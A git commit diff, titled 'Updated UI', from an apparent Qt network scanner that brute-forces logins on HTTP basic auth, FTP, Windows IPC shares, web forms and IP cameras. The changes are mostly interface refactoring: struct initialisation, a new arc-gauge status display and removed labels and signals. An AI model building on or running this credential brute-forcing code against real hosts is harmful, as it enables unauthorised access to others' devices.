Updated UI

This commit is contained in:
cora48 2015-04-03 17:36:22 +03:00
parent 4c8944ece2
commit 17f3ae55fa
16 changed files with 338 additions and 495 deletions

View File

@ -33,14 +33,12 @@ bool BA::checkOutput(const string *buffer, const char *ip, const int port) {
lopaStr BA::BABrute(const char *ip, const int port) {
string buffer;
string lpString;
lopaStr lps;
lopaStr lps{"UNKNOWN", "", ""};
ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other));
int passCounter = 0;
strcpy(lps.login, "UNKNOWN");
for(int i = 0; i < MaxLogin; ++i) {
for (int j = 0; j < MaxPass; ++j) {
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
@ -78,7 +76,7 @@ lopaStr BA::BALobby(const char *ip, const int port) {
return lps;
} else {
lopaStr lps;
lopaStr lps{"UNKNOWN", "", ""};
return lps;
}
}

View File

@ -13,8 +13,7 @@ __asm
#else
asm("lock incl BrutingThrds");
#endif
stt->doEmitionChangeBA(QString::number(BrutingThrds));
stt->doEmitionUpdateArc(gTargets);
}
void BruteUtils::BConDec()
@ -30,6 +29,5 @@ void BruteUtils::BConDec()
asm("lock decl BrutingThrds");
#endif
}
stt->doEmitionChangeBA(QString::number(BrutingThrds));
stt->doEmitionUpdateArc(gTargets);
}

View File

@ -223,7 +223,6 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString("[OVERFLOW]"));
return buffer->size();
} else {
stt->doEmitionOffline(QString::number(++offlines));
return -1;
}
}
@ -255,7 +254,6 @@ int Connector::_ConnectToPort(char* ip, int port)
if(size > 0)
{
++Alive;
stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(++found));
Lexems lx;
lx._filler(port, buffer.c_str(), ip, size, &lx);
};

View File

@ -13,7 +13,7 @@ bool FTPA::checkOutput(const string *buffer) {
lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
string buffer;
string lpString;
lopaStr lps;
lopaStr lps{"UNKNOWN", "", ""};;
ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other));
@ -74,7 +74,7 @@ lopaStr FTPA::FTPLobby(const char *ip, const int port, PathStr *ps) {
return lps;
} else {
lopaStr lps;
lopaStr lps{"UNKNOWN", "", ""};;
return lps;
}
}

View File

@ -5,7 +5,7 @@
lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
{
lopaStr lps;
lopaStr lps{"UNKNOWN", "", ""};
bool result = true;
ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass));
@ -172,7 +172,6 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
};
};
strcpy(lps.login, "UNKNOWN");
return lps;
}
@ -186,7 +185,7 @@ lopaStr IPC::IPCLobby(const char *ip, int port, char *SPEC) {
return lps;
} else {
lopaStr lps;
lopaStr lps{"UNKNOWN", "", ""};
return lps;
}
}

49
STh.cpp
View File

@ -3,38 +3,26 @@
void STh::doEmitionShowRedVersion()
{
emit stt->showRedVersion();
};
}
void STh::doEmitionStartScanIP()
{
emit stt->startScanIP();
};
}
void STh::doEmitionStartScanDNS()
{
emit stt->startScanDNS();
};
}
void STh::doEmitionStartScanImport()
{
emit stt->startScanImport();
};
}
void STh::doEmitionAddIncData(QString(ip), QString str)
{
emit stt->sIncData(ip, str);
};
}
void STh::doEmitionAddOutData( QString str)
{
emit stt->sOutData(str);
};
void STh::doEmitionIPRANGE(QString str)
{
emit stt->changeIpRange(str);
}
void STh::doEmitionThreads(QString str)
{
emit stt->changeThreads(str);
}
void STh::doEmitionIPS(QString str)
{
emit stt->changeIPS(str);
}
void STh::doEmitionFoundData(QString str)
{
@ -47,7 +35,7 @@ void STh::doEmitionBAData(QString str)
void STh::doEmition_BARedData(QString str)
{
emit stt->changeRedBAData(str);
};
}
void STh::doEmition_BAGreenData(QString str)
{
emit stt->changeGreenBAData(str);
@ -72,30 +60,19 @@ void STh::doEmitionChangeStatus(QString str)
{
emit stt->changeStatus(str);
}
void STh::doEmitionTargetsLeft(QString str)
{
emit stt->changeTargetsLeft(str);
}
void STh::doEmitionKillSttThread()
{
emit stt->killSttThread();
};
void STh::doEmitionChangeParsed(QString str)
{
emit stt->changeParsedValue(str);
};
void STh::doEmitionChangeBA(QString str)
{
emit stt->changeBAValue(str);
};
void STh::doEmitionOffline(QString str)
{
emit stt->changeOffline(str);
};
}
void STh::doEmitionDataSaved(bool status)
{
emit stt->signalDataSaved(status);
};
}
void STh::doEmitionUpdateArc(unsigned long gTargets)
{
emit stt->signalUpdateArc(gTargets);
}
void STh::run()
{
startScan(inputStr);

16
STh.h
View File

@ -21,22 +21,16 @@ public:
static void doEmitionAddOutData(QString str);
static void doEmition_BAGreenData(QString str);
static void doEmition_BARedData(QString str);
static void doEmitionIPRANGE(QString str);
static void doEmitionThreads(QString str);
static void doEmitionIPS(QString str);
static void doEmitionFoundData(QString str);
static void doEmitionRedFoundData(QString str);
static void doEmitionGreenFoundData(QString);
static void doEmitionYellowFoundData(QString);
static void doEmitionChangeStatus(QString);
static void doEmitionTargetsLeft(QString);
static void doEmitionKillSttThread();
static void doEmitionChangeParsed(QString);
static void doEmitionChangeBA(QString);
static void doEmitionOffline(QString);
static void doEmitionBAData(QString str);
static void doEmitionDebugFoundData(QString);
static void doEmitionShowRedVersion();
static void doEmitionUpdateArc(unsigned long gTargets);
signals:
public: signals: void showRedVersion();
@ -47,22 +41,16 @@ public: signals: void signalDataSaved(bool);
public: signals: void changeGreenBAData(QString);
public: signals: void changeRedBAData(QString);
public: signals: void changeBAData(QString);
public: signals: void changeOffline(QString);
public: signals: void changeBAValue(QString);
public: signals: void changeParsedValue(QString);
public: signals: void changeIpRange(QString);
public: signals: void changeThreads(QString);
public: signals: void changeIPS(QString);
public: signals: void changeFoundData(QString);
public: signals: void changeRedFoundData(QString);
public: signals: void changeGreenFoundData(QString);
public: signals: void changeYellowFoundData(QString);
public: signals: void changeDebugFoundData(QString);
public: signals: void changeStatus(QString);
public: signals: void changeTargetsLeft(QString);
public: signals: void killSttThread();
public: signals: void sIncData(QString, QString);
public: signals: void sOutData(QString);
public: signals: void signalUpdateArc(unsigned long);
protected:
void run();

View File

@ -158,12 +158,12 @@ lopaStr WFClass::_WFBrute( const char *ip,
char *passVal,
char *formVal) {
lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"};
lopaStr lps{"UNKNOWN", "", ""};
if(strstri(methodVal, "get") != NULL) {
result = doGetCheck(ip, port, actionVal, userVal, passVal, formVal);
lps = doGetCheck(ip, port, actionVal, userVal, passVal, formVal);
} else if(strstri(methodVal, "post") != NULL) {
result = doPostCheck(ip, port, actionVal, userVal, passVal, formVal);
lps = doPostCheck(ip, port, actionVal, userVal, passVal, formVal);
} else {
stt->doEmitionFoundData("<a href=\"http://" + QString(ip) +
":" + QString::number(port)
@ -172,5 +172,5 @@ lopaStr WFClass::_WFBrute( const char *ip,
"</font></a> - [WF]: Unknown method.");
};
return result;
return lps;
}

View File

@ -21,6 +21,7 @@
extern QJsonArray *jsonArr;
extern unsigned long long gTargetsOverall;
extern long long unsigned int gTargets;
extern volatile int cons, BrutingThrds, gThreads;
extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst, **GlobalNegatives;
extern bool trackerOK, __savingBackUpFile, globalScanFlag, MapWidgetOpened,

View File

@ -1134,16 +1134,16 @@ void _specWFBrute(const char *ip, int port, const char *buff, int flag, char *pa
}
else
{
if(gNegDebugMode) stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Cannot find user/pass field.");
///fillGlobalLogData(ip, tport, std::to_string(size).c_str(), title, "", "", "UnknownWebform", cp, tclass);
///putInFile(flag, ip, tport, size, title, cp);
if(gNegDebugMode) stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) +
"\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) +
"</font></a> - [WF]: Cannot find user/pass field.");
};
};
}
void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char *comment, char *cp, int size, char *SPEC)
{
lopaStr lps;
lopaStr lps{"UNKNOWN", "", ""};
ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other));

View File

@ -35,7 +35,6 @@ SOURCES +=\
finder.cpp \
WebformWorker.cpp \
Connector.cpp \
connector_old.cpp \
Utils.cpp \
BruteUtils.cpp \
BasicAuth.cpp \

View File

@ -1,6 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE QtCreatorProject>
<!-- Written by QtCreator 3.2.1, 2015-04-02T13:07:30. -->
<!-- Written by QtCreator 3.2.1, 2015-04-03T15:20:42. -->
<qtcreator>
<data>
<variable>EnvironmentId</variable>

View File

@ -146,6 +146,10 @@ QList<QString> PhraseLog;
bool ME2ScanFlag = true, QoSScanFlag = false, VoiceScanFlag = false, PieStatFlag = false;
QVector<qreal> dots;
QVector<qreal> dotsThreads;
QFont multiFontSmallFontPie;
QFont multiFontSmallFontArc;
void _LoadPersInfoToLocalVars(int savedTabIndex) {
ZeroMemory(currentIP, sizeof(currentIP));
@ -209,6 +213,84 @@ void _LoadPersInfoToLocalVars(int savedTabIndex) {
}
Ui::nesca_3Class *ui = new Ui::nesca_3Class;
QGraphicsScene *testScene;
qreal sharedY = 50;
qreal sharedheight = sharedY + 120;
QPen penAllThreads(QColor(255,255,255, 30), 10, Qt::CustomDashLine);
QPen penThreads(QColor(82,180,229), 10, Qt::SolidLine);
QPen penBAThreads(QColor(250,32,61), 5, Qt::CustomDashLine);
QPen penAllTargets(QColor(255,255,255, 30), 10, Qt::SolidLine);
QPen penTargets(QColor(250,94,32), 6, Qt::SolidLine);
QPen penSaved(QColor(72,255,0), 3, Qt::SolidLine);
void nesca_3::drawVerboseArcs(unsigned long gTargets) {
testScene->clear();
qreal leftX = 185;
qreal rightX = -165;
int fSz = 10;
QPainterPath pathAllThreads;
pathAllThreads.arcMoveTo(leftX, sharedY, rightX, sharedheight, 0);
pathAllThreads.arcTo(leftX, sharedY, rightX, sharedheight, 0, 180);
QGraphicsPathItem* itmAllThreads = new QGraphicsPathItem(pathAllThreads);
itmAllThreads->setPen(penAllThreads);
testScene->addItem(itmAllThreads);
QPainterPath pathThreads;
pathThreads.arcMoveTo(leftX, sharedY, rightX, sharedheight, 0);
pathThreads.arcTo(leftX, sharedY, rightX, sharedheight, 0, cons*((float)(180/(float)gThreads)));
QGraphicsPathItem* itmThreads = new QGraphicsPathItem(pathThreads);
itmThreads->setPen(penThreads);
testScene->addItem(itmThreads);
fSz = 5;
QPainterPath pathBAThreads;
pathBAThreads.arcMoveTo(leftX, sharedY, rightX, sharedheight, 0);
pathBAThreads.arcTo(leftX, sharedY, rightX, sharedheight, 0, BrutingThrds*((float)(180/(float)gThreads)));
QGraphicsPathItem* itmBAThreads = new QGraphicsPathItem(pathBAThreads);
itmBAThreads->setPen(penBAThreads);
testScene->addItem(itmBAThreads);
fSz = 10;
int xOffsetl = fSz + 2;
int xOffsetr = xOffsetl * 2;
leftX += xOffsetl;
rightX -= xOffsetr;
qreal sharedheight1 = sharedheight - xOffsetl;
qreal sharedheight2 = sharedheight + xOffsetr;
qreal nSharedY = sharedY - xOffsetl;
QPainterPath pathAllTargets;
pathAllTargets.arcMoveTo(leftX, sharedY, rightX, sharedheight1, 0);
pathAllTargets.arcTo(leftX, nSharedY, rightX, sharedheight2, 0, 180);
QGraphicsPathItem* itmAllTargets = new QGraphicsPathItem(pathAllTargets);
itmAllTargets->setPen(penAllTargets);
testScene->addItem(itmAllTargets);
fSz = 6;
QPainterPath pathTargets;
pathTargets.arcMoveTo(leftX, sharedY, rightX, sharedheight1, 0);
pathTargets.arcTo(leftX, nSharedY, rightX, sharedheight2, 0, indexIP*((float)(180/(float)gTargetsOverall)));
QGraphicsPathItem* itmTargets = new QGraphicsPathItem(pathTargets);
itmTargets->setPen(penTargets);
testScene->addItem(itmTargets);
fSz = 3;
QPainterPath pathSaved;
pathSaved.arcMoveTo(leftX, sharedY, rightX, sharedheight1, 0);
pathSaved.arcTo(leftX, nSharedY, rightX, sharedheight2, 0, saved*((float)(180/(float)gTargetsOverall)));
QGraphicsPathItem* itmSaved = new QGraphicsPathItem(pathSaved);
itmSaved->setPen(penSaved);
testScene->addItem(itmSaved);
ui->ipLabel->setText(QString(currentIP));
ui->labelSavedValue->setText(QString::number(saved));
ui->labelPendingTargets->setText(QString::number(gTargets));
ui->labelRunningThreads->setText(QString::number(cons) + "/" +
QString::number(BrutingThrds) + "/" +
QString::number(gThreads));
}
void setSceneArea()
{
delete ui->graphicsVoice;
@ -266,6 +348,12 @@ void setSceneArea()
ui->graphicsVoice->setSceneRect(0, 0, ui->graphicsVoice->width(), ui->graphicsVoice->height());
ui->pbgv->setSceneRect(0, 0, ui->pbgv->width(), ui->pbgv->height());
ui->jobRangeVisual->setSceneRect(0, 0, ui->jobRangeVisual->width(), ui->jobRangeVisual->height());
testScene = new QGraphicsScene();
ui->graphicsTest->setScene(testScene);
ui->graphicsTest->setSceneRect(0, 0, ui->graphicsTest->width(), ui->graphicsTest->height());
ui->graphicsTest->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform | QPainter::HighQualityAntialiasing);
}
void setButtonStyleArea()
@ -1020,10 +1108,6 @@ void nesca_3::slotUpdatePie()
float perc5 = ((float)PieWF/(float)(found) * 100) * degree;
float perc6 = ((float)PieSSH/(float)(found) * 100) * degree;
QFont fnt;
fnt.setFamily("Eurostile");
fnt.setPixelSize(10);
QString dataSaved = "Saved: " + QString::number(goods/(float)(found > 0 ? found : 1) * 100) + "%(" + QString::number(goods) + ")";
QString dataParsed = "Filtered: " + QString::number((found - goods)/(float)(found > 0 ? found : 1) * 100) + "%(" + QString::number(found - goods) + ")";
QString dataOnline = "Online: " + QString::number(found);
@ -1037,47 +1121,47 @@ void nesca_3::slotUpdatePie()
int dataX = 1;
int dataY = 13;
QGraphicsTextItem *titem = sceneGraph->addText(dataOnline, fnt);
QGraphicsTextItem *titem = sceneGraph->addText(dataOnline, multiFontSmallFontPie);
titem->setX(dataX);
titem->setY(-5);
titem->setDefaultTextColor(QColor(255, 255, 255, 130));
titem = sceneGraph->addText(dataSaved, fnt);
titem = sceneGraph->addText(dataSaved, multiFontSmallFontPie);
titem->setX(dataX);
titem->setY(5);
titem->setDefaultTextColor(QColor(255, 255, 255, 130));
titem = sceneGraph->addText(dataParsed, fnt);
titem = sceneGraph->addText(dataParsed, multiFontSmallFontPie);
titem->setX(dataX);
titem->setY(15);
titem->setDefaultTextColor(QColor(255, 255, 255, 255));
titem = sceneGraph->addText(dataAnom, fnt);
titem = sceneGraph->addText(dataAnom, multiFontSmallFontPie);
titem->setX(dataX);
titem->setY(dataY + 17);
titem->setDefaultTextColor(QColor("red"));
titem = sceneGraph->addText(dataBA, fnt);
titem = sceneGraph->addText(dataBA, multiFontSmallFontPie);
titem->setX(dataX);
titem->setY(dataY + 27);
titem->setDefaultTextColor(Qt::darkCyan);
titem = sceneGraph->addText(dataSusp, fnt);
titem = sceneGraph->addText(dataSusp, multiFontSmallFontPie);
titem->setX(dataX);
titem->setY(dataY + 37);
titem->setDefaultTextColor(Qt::darkRed);
titem = sceneGraph->addText(dataLowl, fnt);
titem = sceneGraph->addText(dataLowl, multiFontSmallFontPie);
titem->setX(dataX);
titem->setY(dataY + 47);
titem->setDefaultTextColor(Qt::magenta);
titem = sceneGraph->addText(dataWF, fnt);
titem = sceneGraph->addText(dataWF, multiFontSmallFontPie);
titem->setX(dataX);
titem->setY(dataY + 56);
titem->setDefaultTextColor(Qt::darkGray);
titem = sceneGraph->addText(dataSSH, fnt);
titem = sceneGraph->addText(dataSSH, multiFontSmallFontPie);
titem->setX(dataX);
titem->setY(dataY + 66);
titem->setDefaultTextColor(Qt::darkRed);
@ -1419,7 +1503,6 @@ void nesca_3::slotClearLogs()
int c = 1;
void nesca_3::slotSaveImage(QAction *qwe)
{
QObject *smB = this->sender();
@ -1641,7 +1724,6 @@ QRegExp _rOutProt(" HTTP/1.\\d+");
QRegExp _rOutPath(" /(\\w|\\.|,|/|:|-|_|\\?|!|\\@|#|\\$|%|\\^|&|\\*|\\(|\\)|=|\\+|<|>|;|:|\"|'|~|\\[|\\])* ");
QRegExp _rOutHost("Host: ((\\w|\\d|\\.|:|/)*)\\r\\n");
QRegExp qrp("\\n(.+):");
void nesca_3::slotOutData(QString str)
{
if(SendData != NULL)
@ -1981,8 +2063,6 @@ void nesca_3::IPScanSeq()
if(ui->portLine->text() != "")
{
_LoadPersInfoToLocalVars(savedTabIndex);
ui->labelParsed_Value->setText("0/0");
ui->labelOffline_Value->setText("0");
stopFirst = false;
ui->tabMainWidget->setTabEnabled(1, false);
ui->tabMainWidget->setTabEnabled(2, false);
@ -2065,9 +2145,6 @@ void nesca_3::DNSScanSeq()
{
if(ui->lineEditPort->text() != "")
{
_LoadPersInfoToLocalVars(savedTabIndex);
ui->labelParsed_Value->setText("0/0");
ui->labelOffline_Value->setText("0");
if(ui->lineEditStartIPDNS->text().indexOf(".") > 0)
{
QStringList lst = ui->lineEditStartIPDNS->text().split(".");
@ -2081,6 +2158,7 @@ void nesca_3::DNSScanSeq()
ui->lineILVL->setText(topLevelDomainStr);
};
_LoadPersInfoToLocalVars(savedTabIndex);
stopFirst = false;
ui->tabMainWidget->setTabEnabled(0, false);
@ -2128,9 +2206,6 @@ void nesca_3::ImportScanSeq()
ui->tabMainWidget->setTabEnabled(0, false);
ui->tabMainWidget->setTabEnabled(1, false);
ui->labelParsed_Value->setText("0/0");
ui->labelOffline_Value->setText("0");
strcpy(inputStr, ("DUMMY|-f|" + fileName + "|" + ui->importThreads->text() + "|-p" + ui->importPorts->text().replace(" ", "")).toLocal8Bit().data());
globalScanFlag = true;
@ -2327,15 +2402,11 @@ void nesca_3::ConnectEvrthng()
connect ( stt, SIGNAL(changeRedFoundData(QString)), this, SLOT(appendErrText(QString)));
connect ( stt, SIGNAL(changeGreenFoundData(QString)), this, SLOT(appendOKText(QString)));
connect ( stt, SIGNAL(killSttThread()), this, SLOT(STTTerminate()));
connect ( stt, SIGNAL(changeParsedValue(QString)), ui->labelParsed_Value, SLOT(setText(QString)));
connect ( stt, SIGNAL(changeIpRange(QString)), ui->labelIpRange_Value, SLOT(setText(QString)));
connect ( stt, SIGNAL(changeThreads(QString)), ui->labelThreads_Value, SLOT(setText(QString)));
connect ( stt, SIGNAL(changeIPS(QString)), ui->labelIPS_Value, SLOT(setText(QString)));
connect ( stt, SIGNAL(signalUpdateArc(unsigned long)), this, SLOT(drawVerboseArcs(unsigned long)));
connect ( stt, SIGNAL(changeFoundData(QString)), this, SLOT(appendDefaultText(QString)));
connect ( stt, SIGNAL(changeBAValue(QString)), ui->labelBAThreads_Value, SLOT(setText(QString)));
connect ( stt, SIGNAL(changeStatus(QString)), ui->labelStatus_Value, SLOT(setText(QString)));
connect ( stt, SIGNAL(changeTargetsLeft(QString)), ui->labelTargetsLeft_Value, SLOT(setText(QString)));
connect ( stt, SIGNAL(changeOffline(QString)), ui->labelOffline_Value, SLOT(setText(QString)));
connect ( stt, SIGNAL(changeBAData(QString)), ui->BAText, SLOT(append(QString)));
connect ( stt, SIGNAL(changeGreenBAData(QString)), this, SLOT(appendGreenBAData(QString)));
connect ( stt, SIGNAL(changeRedBAData(QString)), this, SLOT(appendRedBAData(QString)));
@ -2667,6 +2738,24 @@ void _startMsgCheck()
ui->rVerLabel->hide();
setSceneArea();
dots << 0.5 << 0.3 << 0.5 << 0.3;
dotsThreads << 0.1 << 0.2 << 0.1 << 0.2;
penAllThreads.setCapStyle(Qt::FlatCap);
penAllThreads.setDashPattern(dotsThreads);
penThreads.setCapStyle(Qt::FlatCap);
penBAThreads.setDashPattern(dots);
penBAThreads.setCapStyle(Qt::FlatCap);
penAllTargets.setCapStyle(Qt::FlatCap);
penTargets.setCapStyle(Qt::FlatCap);
penSaved.setCapStyle(Qt::FlatCap);
multiFontSmallFontPie.setFamily("small_fonts");
multiFontSmallFontPie.setPixelSize(9);
multiFontSmallFontArc.setFamily("small_fonts");
multiFontSmallFontArc.setPixelSize(10);
multiFontSmallFontArc.setUnderline(true);
ui->ipLabel->setFont(multiFontSmallFontArc);
tray = new QSystemTrayIcon(QIcon(":/nesca_3/nesca.ico"), this);
tray->hide();
@ -2678,8 +2767,7 @@ void _startMsgCheck()
const std::string &gVERStr = GetVer();
strcpy(gVER, gVERStr.c_str());
QString QVER(gVER);
ui->logoLabel->setToolTip("v3-" + QVER);
ui->logoLabel->setToolTip("v3-" + QString(gVER));
ui->logoLabel->setStyleSheet("color:white; border: none;background-color:black;");
ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
@ -2691,9 +2779,6 @@ void _startMsgCheck()
dtME2->start();
adtHN->start();
pbPointerFont.setFamily("Eurostile");
pbPointerFont.setPixelSize(8);
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
WSADATA wsda;
if (WSAStartup(0x0101, &wsda))
@ -2710,6 +2795,7 @@ void _startMsgCheck()
_startVerCheck();
_startMsgCheck();
qrp.setMinimal(true);
drawVerboseArcs(0);
}
void nesca_3::mousePressEvent(QMouseEvent *event)
@ -2789,9 +2875,7 @@ void nesca_3::STTTerminate()
ui->tabMainWidget->setTabEnabled(1, true);
ui->tabMainWidget->setTabEnabled(2, true);
ui->tabMainWidget->setTabEnabled(3, true);
stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
stt->doEmitionIPS("0");
stt->doEmitionChangeBA("0");
stt->doEmitionUpdateArc(0);
BrutingThrds = 0;
cons = 0;
setButtonStyleArea();
@ -2966,7 +3050,6 @@ void nesca_3::appendErrText(QString str)
{
startFlag = false;
stt->doEmitionChangeStatus("Idle");
stt->doEmitionIPS("0");
ui->startScanButton_3->setText("Start");
stt->terminate();
};

View File

@ -124,6 +124,7 @@ protected:
void appendGreenBAData(QString str);
void appendRedBAData(QString str);
void STTTerminate();
void drawVerboseArcs(unsigned long gTargets);
private:
QPoint dragPosition;
};

View File

@ -1445,9 +1445,9 @@ border-radius: 3px;</string>
<widget class="QLabel" name="labelNesca_3">
<property name="geometry">
<rect>
<x>95</x>
<y>10</y>
<width>306</width>
<x>123</x>
<y>11</y>
<width>271</width>
<height>20</height>
</rect>
</property>
@ -1535,52 +1535,22 @@ border-radius: 3px;</string>
<string>X</string>
</property>
</widget>
<widget class="QLabel" name="labelIpRange">
<property name="geometry">
<rect>
<x>20</x>
<y>230</y>
<width>61</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<weight>50</weight>
<italic>false</italic>
<bold>false</bold>
<underline>true</underline>
<kerning>false</kerning>
</font>
</property>
<property name="layoutDirection">
<enum>Qt::LeftToRight</enum>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>Current IP:</string>
</property>
</widget>
<widget class="QLabel" name="labelThreads">
<property name="geometry">
<rect>
<x>20</x>
<y>255</y>
<width>61</width>
<height>20</height>
<x>89</x>
<y>325</y>
<width>15</width>
<height>15</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<family>Sans</family>
<pointsize>10</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>true</underline>
<underline>false</underline>
<kerning>false</kerning>
</font>
</property>
@ -1588,40 +1558,15 @@ border-radius: 3px;</string>
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>Threads:</string>
<string>:</string>
</property>
</widget>
<widget class="QLabel" name="labelBaThreads">
<widget class="QLabel" name="ipLabel">
<property name="geometry">
<rect>
<x>20</x>
<y>280</y>
<width>71</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>true</underline>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>Brute threads:</string>
</property>
</widget>
<widget class="QLabel" name="labelIpRange_Value">
<property name="geometry">
<rect>
<x>95</x>
<y>230</y>
<width>394</width>
<x>37</x>
<y>351</y>
<width>150</width>
<height>20</height>
</rect>
</property>
@ -1637,7 +1582,7 @@ border-radius: 3px;</string>
<pointsize>7</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>false</underline>
<underline>true</underline>
</font>
</property>
<property name="autoFillBackground">
@ -1649,13 +1594,16 @@ border-radius: 3px;</string>
<property name="text">
<string>--</string>
</property>
<property name="alignment">
<set>Qt::AlignCenter</set>
</property>
</widget>
<widget class="QLabel" name="labelThreads_Value">
<widget class="QLabel" name="labelRunningThreads">
<property name="geometry">
<rect>
<x>95</x>
<y>255</y>
<width>91</width>
<x>104</x>
<y>324</y>
<width>67</width>
<height>20</height>
</rect>
</property>
@ -1672,82 +1620,7 @@ border-radius: 3px;</string>
<string notr="true">color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>0/0</string>
</property>
</widget>
<widget class="QLabel" name="labelBAThreads_Value">
<property name="geometry">
<rect>
<x>95</x>
<y>280</y>
<width>61</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>false</underline>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>0</string>
</property>
</widget>
<widget class="QLabel" name="labelIPS">
<property name="geometry">
<rect>
<x>20</x>
<y>330</y>
<width>61</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>true</underline>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>IP/s:</string>
</property>
</widget>
<widget class="QLabel" name="labelIPS_Value">
<property name="geometry">
<rect>
<x>95</x>
<y>330</y>
<width>106</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>false</underline>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>0</string>
<string>0/0/0</string>
</property>
</widget>
<widget class="QTextBrowser" name="dataText">
@ -1812,78 +1685,10 @@ p, li { white-space: pre-wrap; }
<bool>false</bool>
</property>
</widget>
<widget class="QLabel" name="labelParsed">
<property name="geometry">
<rect>
<x>20</x>
<y>355</y>
<width>73</width>
<height>20</height>
</rect>
</property>
<property name="sizePolicy">
<sizepolicy hsizetype="Preferred" vsizetype="Preferred">
<horstretch>0</horstretch>
<verstretch>0</verstretch>
</sizepolicy>
</property>
<property name="minimumSize">
<size>
<width>0</width>
<height>0</height>
</size>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>true</underline>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="lineWidth">
<number>1</number>
</property>
<property name="text">
<string>Saved/Online:</string>
</property>
<property name="wordWrap">
<bool>false</bool>
</property>
</widget>
<widget class="QLabel" name="labelParsed_Value">
<property name="geometry">
<rect>
<x>95</x>
<y>355</y>
<width>108</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>false</underline>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>0/0</string>
</property>
</widget>
<widget class="QLabel" name="labelStatus">
<property name="geometry">
<rect>
<x>11</x>
<x>19</x>
<y>783</y>
<width>41</width>
<height>10</height>
@ -1923,7 +1728,7 @@ p, li { white-space: pre-wrap; }
<widget class="QLabel" name="labelStatus_Value">
<property name="geometry">
<rect>
<x>51</x>
<x>58</x>
<y>783</y>
<width>101</width>
<height>10</height>
@ -1945,34 +1750,34 @@ p, li { white-space: pre-wrap; }
<widget class="QLabel" name="labelTargetsLeft">
<property name="geometry">
<rect>
<x>20</x>
<y>305</y>
<width>61</width>
<x>89</x>
<y>335</y>
<width>16</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<family>Sans</family>
<pointsize>10</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>true</underline>
<underline>false</underline>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>Targets:</string>
<string>:</string>
</property>
</widget>
<widget class="QLabel" name="labelTargetsLeft_Value">
<widget class="QLabel" name="labelPendingTargets">
<property name="geometry">
